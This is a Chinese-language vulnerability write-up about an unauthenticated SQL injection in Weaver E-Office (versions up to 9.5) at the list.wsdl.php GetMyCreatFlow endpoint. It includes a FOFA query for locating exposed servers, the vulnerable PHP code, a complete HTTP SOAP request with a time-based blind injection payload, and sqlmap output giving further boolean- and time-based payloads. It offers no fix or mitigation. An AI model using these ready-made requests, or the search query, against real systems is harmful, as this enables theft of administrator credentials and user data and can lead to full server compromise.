漏洞简介

泛微E-Office是一款标准化的协同 OA 办公软件，泛微协同办公产品系列成员之一,实行通用化产品设计，充分贴合企业管理需求，本着简洁易用、高效智能的原则，为企业快速打造移动化、无纸化、数字化的办公平台。泛微e-office list.wsdl.php 接口处存在SQL注入漏洞，未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息（例如管理员后台密码、站点用户个人信息）之外，攻击者甚至可以在高权限下向服务器写入命令，进一步获取服务器系统权限。

影响版本

e-office <=9.5

fofa语句

app="泛微-EOffice"

漏洞分析

同样通过解析 wsdl 后有很多功能

webservice-json/workflow/list.wsdl.php 的 GetMyCreatFlow 业务逻辑如下

function GetMyCreatFlow( $UserId )
{
    checkcurrentsession( );
    $FlowList = new listItem( );
    $UserInfo = array( );
    $DepyId = getuserdept( $UserId );
    $PrivId = getuserprivid( $UserId );
    $UserInfo['UserId'] = $UserId;
    $UserInfo['DepyId'] = $DepyId;
    $UserInfo['PrivId'] = $PrivId;
    $result = $FlowList->GetMyCreatFlow( $UserInfo );
    $Infor = array( );

$UserId 首先带入 getuserdept 函数

function getUserDept( $userid )
{
    global $connection;
    $dept_id = -1;
    $query = "SELECT DEPT_ID FROM user WHERE USER_ID = '".$userid."'";
    $rs = exequery( $connection, $query );
    if ( $rows = mysql_fetch_array( $rs ) )
    {
        $dept_id = $rows['DEPT_ID'];
    }
    return $dept_id;
}

$userid 被直接拼接进SQL语句后执行，无任何过滤校验，造成SQL注入漏洞。

漏洞复现

POST /webservice-json/workflow/list.wsdl.php HTTP/1.1
User-Agent: Apache-HttpClient/4.5.5 (Java/17.0.12)
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
SOAPAction: urn:ListServicewsdl#GetMyCreatFlow
Content-Type: text/xml;charset=UTF-8
Host: eoffice.mrxn.net:8082

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:ListServicewsdl">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:GetMyCreatFlow soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <UserId xsi:type="xsd:string">gero' AND 2262=BENCHMARK(5000000,MD5(0x41597a64))-- Ilcs</UserId>
      </urn:GetMyCreatFlow>
   </soapenv:Body>
</soapenv:Envelope>

成功在延时 10 秒（因为还会进入 getUserPrivId 函数，总共执行两次）

sqlmap 结果如下

sqlmap identified the following injection point(s) with a total of 320 HTTP(s) requests:
---
Parameter: SOAP #1* ((custom) POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:ListServicewsdl">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:GetMyCreatFlow soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <UserId xsi:type="xsd:string">-7491' OR 4428=4428#</UserId>
      </urn:GetMyCreatFlow>
   </soapenv:Body>
</soapenv:Envelope>

    Type: time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (BENCHMARK)
    Payload: <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:ListServicewsdl">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:GetMyCreatFlow soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <UserId xsi:type="xsd:string">gero' AND 2262=BENCHMARK(5000000,MD5(0x41597a64))-- Ilcs</UserId>
      </urn:GetMyCreatFlow>
   </soapenv:Body>
</soapenv:Envelope>
---